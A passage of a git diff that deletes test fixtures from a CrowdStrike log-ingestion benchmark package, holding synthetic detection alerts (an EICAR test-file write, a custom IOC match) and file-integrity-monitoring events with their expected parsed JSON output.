Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume4\\Windows",
-                "hash": {
-                    "md5": "23ba370fc8357f6f827812da142b5fcb",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7"
-                },
-                "name": "explorer.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "hostname": "dave-win10-3",
-                "mac": [
-                    "BA-D0-00-BA-D0-00"
-                ],
-                "name": "dave-win10-3"
-            },
-            "message": "A process has written a known EICAR test file. Review the files written by the triggered process.",
-            "process": {
-                "command_line": "C:\\Windows\\Explorer.EXE",
-                "end": "1970-01-01T00:00:00.000Z",
-                "entity_id": "38850874557",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
-                "name": "explorer.exe",
-                "parent": {
-                    "entity_id": "38850737845",
-                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
-                    "name": "userinit.exe"
-                },
-                "start": "2025-07-01T12:06:02.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7",
-                    "23ba370fc8357f6f827812da142b5fcb"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
-                "name": "Known Malware"
-            },
-            "source": {
-                "address": "10.0.0.13",
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2023-11-14T22:13:20.000Z",
-            "crowdstrike": {
-                "AgentIdString": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
-                "AggregateId": "aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321",
-                "CloudIndicator": true,
-                "CompositeId": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321",
-                "CustomerIdString": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
-                "DataDomains": "Endpoint",
-                "EventType": "Event_ExternalApiEvent",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
-                "GrandparentCommandLine": "/usr/sbin/sshd -D -R",
-                "GrandparentImageFileName": "sshd",
-                "GrandparentImageFilePath": "/usr/sbin/sshd",
-                "HostGroups": [
-                    "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
-                    "b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7"
-                ],
-                "IOCType": "domain",
-                "IOCValue": "example.com",
-                "MACAddress": "00-11-22-33-44-55",
-                "NetworkAccesses": [
-                    {
-                        "AccessTimestamp": "1700000001",
-                        "AccessType": "0",
-                        "IsIPV6": "false",
-                        "LocalAddress": "192.168.1.100",
-                        "LocalPort": "5353",
-                        "Protocol": "UDP",
-                        "RemoteAddress": "192.168.1.1",
-                        "RemotePort": "53"
-                    },
-                    {
-                        "AccessTimestamp": "1700000001",
-                        "AccessType": "0",
-                        "IsIPV6": "false",
-                        "LocalAddress": "192.168.1.100",
-                        "LocalPort": "44300",
-                        "Protocol": "TCP",
-                        "RemoteAddress": "192.168.1.2",
-                        "RemotePort": "443"
-                    }
-                ],
-                "Nonce": "1234567890123456789",
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "-bash",
-                "PatternDispositionDescription": "Detection, standard detection.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": "false",
-                    "BootupSafeguardEnabled": "false",
-                    "ContainmentFileSystem": "false",
-                    "CriticalProcessDisabled": "false",
-                    "Detect": "false",
-                    "FsOperationBlocked": "false",
-                    "HandleOperationDowngraded": "false",
-                    "InddetMask": "false",
-                    "Indicator": "false",
-                    "KillActionFailed": "false",
-                    "KillParent": "false",
-                    "KillProcess": "false",
-                    "KillSubProcess": "false",
-                    "OperationBlocked": "false",
-                    "PolicyDisabled": "false",
-                    "ProcessBlocked": "false",
-                    "QuarantineFile": "false",
-                    "QuarantineMachine": "false",
-                    "RegistryOperationBlocked": "false",
-                    "Rooting": "false",
-                    "SensorOnly": "false",
-                    "SuspendParent": "false",
-                    "SuspendProcess": "false"
-                },
-                "PatternDispositionValue": 0,
-                "PatternId": "5306",
-                "PlatformId": "3",
-                "PlatformName": "Linux",
-                "SensorId": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
-                "Severity": "10",
-                "SeverityName": "Informational",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Custom Intelligence",
-                "Technique": "Indicator of Compromise",
-                "Type": "ldt",
-                "cid": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
-                "eid": "118"
-            },
-            "device": {
-                "id": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-11-14T22:13:20.000Z",
-                "id": "||a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
-                "kind": "alert",
-                "original": "{\"Tactic\":\"Custom Intelligence\",\"CustomerIdString\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"EventType\":\"Event_ExternalApiEvent\",\"ParentProcessId\":\"1234567890123456789\",\"SourceVendors\":\"CrowdStrike\",\"AggregateId\":\"aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321\",\"UTCTimestamp\":\"1700000000\",\"LogonDomain\":\"\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"CompositeId\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321\",\"Name\":\"Intel Detection\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SourceProducts\":\"Falcon Insight\",\"ProcessEndTime\":\"1700000001\",\"IOCValue\":\"example.com\",\"PatternId\":\"5306\",\"MitreAttack\":[{\"TacticID\":\"CSTA0005\",\"Tactic\":\"Custom Intelligence\",\"TechniqueID\":\"CST0005\",\"PatternID\":\"5306\",\"Technique\":\"Indicator of Compromise\"}],\"AgentId\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"ParentCommandLine\":\"-bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"DataDomains\":\"Endpoint\",\"LocalIPv6\":\"\",\"PatternDispositionFlags\":{\"BootupSafeguardEnabled\":\"false\",\"QuarantineFile\":\"false\",\"QuarantineMachine\":\"false\",\"HandleOperationDowngraded\":\"false\",\"Detect\":\"false\",\"RegistryOperationBlocked\":\"false\",\"KillParent\":\"false\",\"ContainmentFileSystem\":\"false\",\"Indicator\":\"false\",\"FsOperationBlocked\":\"false\",\"OperationBlocked\":\"false\",\"SuspendParent\":\"false\",\"SuspendProcess\":\"false\",\"KillProcess\":\"false\",\"ProcessBlocked\":\"false\",\"BlockingUnsupportedOrDisabled\":\"false\",\"PolicyDisabled\":\"false\",\"KillActionFailed\":\"false\",\"SensorOnly\":\"false\",\"CriticalProcessDisabled\":\"false\",\"KillSubProcess\":\"false\",\"Rooting\":\"false\",\"InddetMask\":\"false\"},\"Hostname\":\"test-host-01\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PlatformName\":\"Linux\",\"Nonce\":\"1234567890123456789\",\"Objective\":\"Falcon Detection Method\",\"ProcessStartTime\":\"1700000000\",\"Technique\":\"Indicator of Compromise\",\"cid\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"eid\":\"118\",\"Description\":\"A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.\",\"FileName\":\"curl\",\"ParentImageFileName\":\"bash\",\"HostGroups\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6,b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7\",\"LocalIP\":\"192.168.1.100\",\"PlatformId\":\"3\",\"timestamp\":\"2023-11-15T12:00:00Z\",\"GrandParentImageFileName\":\"sshd\",\"FilePath\":\"/usr/bin/curl\",\"UserName\":\"testuser\",\"MD5String\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5\",\"SeverityName\":\"Informational\",\"Severity\":\"10\",\"CloudIndicator\":\"true\",\"PatternDispositionValue\":\"0\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\",\"SHA256String\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"NetworkAccesses\":[{\"AccessTimestamp\":\"1700000001\",\"RemoteAddress\":\"192.168.1.1\",\"LocalAddress\":\"192.168.1.100\",\"LocalPort\":\"5353\",\"RemotePort\":\"53\",\"IsIPV6\":\"false\",\"Protocol\":\"UDP\",\"AccessType\":\"0\"},{\"AccessTimestamp\":\"1700000001\",\"RemoteAddress\":\"192.168.1.2\",\"LocalAddress\":\"192.168.1.100\",\"LocalPort\":\"44300\",\"RemotePort\":\"443\",\"IsIPV6\":\"false\",\"Protocol\":\"TCP\",\"AccessType\":\"0\"}],\"CommandLine\":\"curl https://example.com\",\"Type\":\"ldt\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"MACAddress\":\"00-11-22-33-44-55\",\"AgentIdString\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"IOCType\":\"domain\",\"ProcessId\":\"1234567890123456789\"}",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "/usr/bin",
-                "hash": {
-                    "md5": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
-                },
-                "name": "curl",
-                "path": "/usr/bin/curl"
-            },
-            "host": {
-                "hostname": "test-host-01",
-                "mac": [
-                    "00-11-22-33-44-55"
-                ],
-                "name": "test-host-01"
-            },
-            "message": "A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.",
-            "process": {
-                "command_line": "curl https://example.com",
-                "end": "2023-11-14T22:13:21.000Z",
-                "entity_id": "1234567890123456789",
-                "executable": "/usr/bin/curl",
-                "name": "curl",
-                "parent": {
-                    "entity_id": "1234567890123456789",
-                    "executable": "/usr/bin/bash",
-                    "name": "bash"
-                },
-                "start": "2023-11-14T22:13:20.000Z",
-                "uptime": 0
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
-                    "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5"
-                ],
-                "hosts": [
-                    "test-host-01"
-                ],
-                "ip": [
-                    "192.168.1.100"
-                ],
-                "user": [
-                    "testuser"
-                ]
-            },
-            "rule": {
-                "description": "A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.",
-                "name": "Intel Detection"
-            },
-            "source": {
-                "address": "192.168.1.100",
-                "ip": "192.168.1.100"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "id": [
-                        "CSTA0005"
-                    ],
-                    "name": [
-                        "Custom Intelligence"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0005"
-                    ],
-                    "name": [
-                        "Indicator of Compromise"
-                    ]
-                }
-            },
-            "user": {
-                "name": "testuser"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log
deleted file mode 100644
index 759ada717a..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log
+++ /dev/null
@@ -1,4 +0,0 @@
-{"ChangeId":"808ac387293943aaadf692926d5672e4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1763453435328,"Nonce":946031236533752407,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"808ac387-2939-43aa-adf6-92926d5672e4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-11-18T08:10:35Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
-{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":1314049827115114419,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
-{"ChangeId":"26a2448c6c174cac8cd2b46b74fe93ed","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":"adb"},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1763453435173,"Nonce":8348878083986819890,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"26a2448c-6c17-4cac-8cd2-b46b74fe93ed","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-11-18T08:10:35Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
-{"ChangeId":"784c387c806a4adda54f83bc938d022d","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"root","ID":"0"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764940158406,"Nonce":7339193177690829435,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"784c387c-806a-4add-a54f-83bc938d022d","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-05T13:09:18Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json
deleted file mode 100644
index 88ed6247f2..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json
+++ /dev/null
@@ -1,264 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2025-11-18T08:10:35.328Z",
-            "crowdstrike": {
-                "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "ChangeId": "808ac387293943aaadf692926d5672e4",
-                "ContentDiff": {
-                    "Exists": false
-                },
-                "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70",
-                "EventType": "Event_ExternalApiEvent",
-                "EventUUID": "808ac387-2939-43aa-adf6-92926d5672e4",
-                "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched",
-                "Nonce": 946031236533752407,
-                "Policy": {
-                    "ID": "8fd42a5c9ac24959a98d9e430837b5e6",
-                    "Name": "FileVantage Policy"
-                },
-                "Prevalence": {
-                    "Key": "1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser"
-                },
-                "Suppression": {
-                    "Suppressed": false
-                },
-                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
-                "eid": 118
-            },
-            "event": {
-                "category": [
-                    "file"
-                ],
-                "created": "2025-11-18T08:10:35.328Z",
-                "id": "||2cc98db1a47b4c98b913c94d43bfab70",
-                "kind": "event",
-                "original": "{\"ChangeId\":\"808ac387293943aaadf692926d5672e4\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1763453435328,\"Nonce\":946031236533752407,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"808ac387-2939-43aa-adf6-92926d5672e4\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-11-18T08:10:35Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "hostname": "LINUX-TEST-HOST-01",
-                "name": "LINUX-TEST-HOST-01"
-            },
-            "related": {
-                "hosts": [
-                    "LINUX-TEST-HOST-01"
-                ],
-                "user": [
-                    "testuser",
-                    "1000"
-                ]
-            },
-            "rule": {
-                "name": "/home/testuser/filevantage/",
-                "ruleset": "FileVantage Rule Group"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "1000",
-                "name": "testuser"
-            }
-        },
-        {
-            "@timestamp": "2025-12-01T09:26:57.862Z",
-            "crowdstrike": {
-                "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "ChangeId": "ca65aa54f7b9453b8ef199a5b2c8e3c4",
-                "ContentDiff": {
-                    "Exists": false
-                },
-                "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70",
-                "EventType": "Event_ExternalApiEvent",
-                "EventUUID": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4",
-                "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched",
-                "Nonce": 1314049827115114419,
-                "Policy": {
-                    "ID": "8fd42a5c9ac24959a98d9e430837b5e6",
-                    "Name": "FileVantage Policy"
-                },
-                "Prevalence": {
-                    "Key": "1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"
-                },
-                "Suppression": {
-                    "Suppressed": false
-                },
-                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
-                "eid": 118
-            },
-            "event": {
-                "category": [
-                    "file"
-                ],
-                "created": "2025-12-01T09:26:57.862Z",
-                "id": "||2cc98db1a47b4c98b913c94d43bfab70",
-                "kind": "event",
-                "original": "{\"ChangeId\":\"ca65aa54f7b9453b8ef199a5b2c8e3c4\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1764581217862,\"Nonce\":1314049827115114419,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-12-01T09:26:57Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "hostname": "LINUX-TEST-HOST-01",
-                "name": "LINUX-TEST-HOST-01"
-            },
-            "related": {
-                "hosts": [
-                    "LINUX-TEST-HOST-01"
-                ],
-                "user": [
-                    "testuser",
-                    "1000"
-                ]
-            },
-            "rule": {
-                "name": "/home/testuser/filevantage/",
-                "ruleset": "FileVantage Rule Group"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "1000",
-                "name": "testuser"
-            }
-        },
-        {
-            "@timestamp": "2025-11-18T08:10:35.173Z",
-            "crowdstrike": {
-                "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "ChangeId": "26a2448c6c174cac8cd2b46b74fe93ed",
-                "ContentDiff": {
-                    "Exists": false
-                },
-                "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70",
-                "EventType": "Event_ExternalApiEvent",
-                "EventUUID": "26a2448c-6c17-4cac-8cd2-b46b74fe93ed",
-                "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched",
-                "Nonce": 8348878083986819890,
-                "Policy": {
-                    "ID": "8fd42a5c9ac24959a98d9e430837b5e6",
-                    "Name": "FileVantage Policy"
-                },
-                "Prevalence": {
-                    "Key": "1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser"
-                },
-                "Suppression": {
-                    "Suppressed": false
-                },
-                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
-                "eid": 118
-            },
-            "event": {
-                "category": [
-                    "file"
-                ],
-                "created": "2025-11-18T08:10:35.173Z",
-                "id": "||2cc98db1a47b4c98b913c94d43bfab70",
-                "kind": "event",
-                "original": "{\"ChangeId\":\"26a2448c6c174cac8cd2b46b74fe93ed\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"adb\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1763453435173,\"Nonce\":8348878083986819890,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"26a2448c-6c17-4cac-8cd2-b46b74fe93ed\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-11-18T08:10:35Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "sha256": "adb"
-                }
-            },
-            "host": {
-                "hostname": "LINUX-TEST-HOST-01",
-                "name": "LINUX-TEST-HOST-01"
-            },
-            "related": {
-                "hash": [
-                    "adb"
-                ],
-                "hosts": [
-                    "LINUX-TEST-HOST-01"
-                ],
-                "user": [
-                    "testuser",
-                    "1000"
-                ]
-            },
-            "rule": {
-                "name": "/home/testuser/filevantage/",
-                "ruleset": "FileVantage Rule Group"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "1000",
-                "name": "testuser"
-            }
-        },
-        {
-            "@timestamp": "2025-12-05T13:09:18.406Z",
-            "crowdstrike": {
-                "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "ChangeId": "784c387c806a4adda54f83bc938d022d",
-                "ContentDiff": {
-                    "Exists": false
-                },
-                "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70",
-                "EventType": "Event_ExternalApiEvent",
-                "EventUUID": "784c387c-806a-4add-a54f-83bc938d022d",
-                "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched",
-                "Nonce": 7339193177690829435,
-                "Policy": {
-                    "ID": "8fd42a5c9ac24959a98d9e430837b5e6",
-                    "Name": "FileVantage Policy"
-                },
-                "Prevalence": {
-                    "Key": "1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root"
-                },
-                "Suppression": {
-                    "Suppressed": false
-                },
-                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
-                "eid": 118
-            },
-            "event": {
-                "category": [
-                    "file"
-                ],
-                "created": "2025-12-05T13:09:18.406Z",
-                "id": "||2cc98db1a47b4c98b913c94d43bfab70",
-                "kind": "event",
-                "original": "{\"ChangeId\":\"784c387c806a4adda54f83bc938d022d\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"root\",\"ID\":\"0\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1764940158406,\"Nonce\":7339193177690829435,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"784c387c-806a-4add-a54f-83bc938d022d\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-12-05T13:09:18Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "hostname": "LINUX-TEST-HOST-01",
-                "name": "LINUX-TEST-HOST-01"
-            },
-            "related": {
-                "hosts": [
-                    "LINUX-TEST-HOST-01"
-                ],
-                "user": [
-                    "root",
-                    "0"
-                ]
-            },
-            "rule": {
-                "name": "/home/testuser/filevantage/",
-                "ruleset": "FileVantage Rule Group"
-            },
-            "tags": [
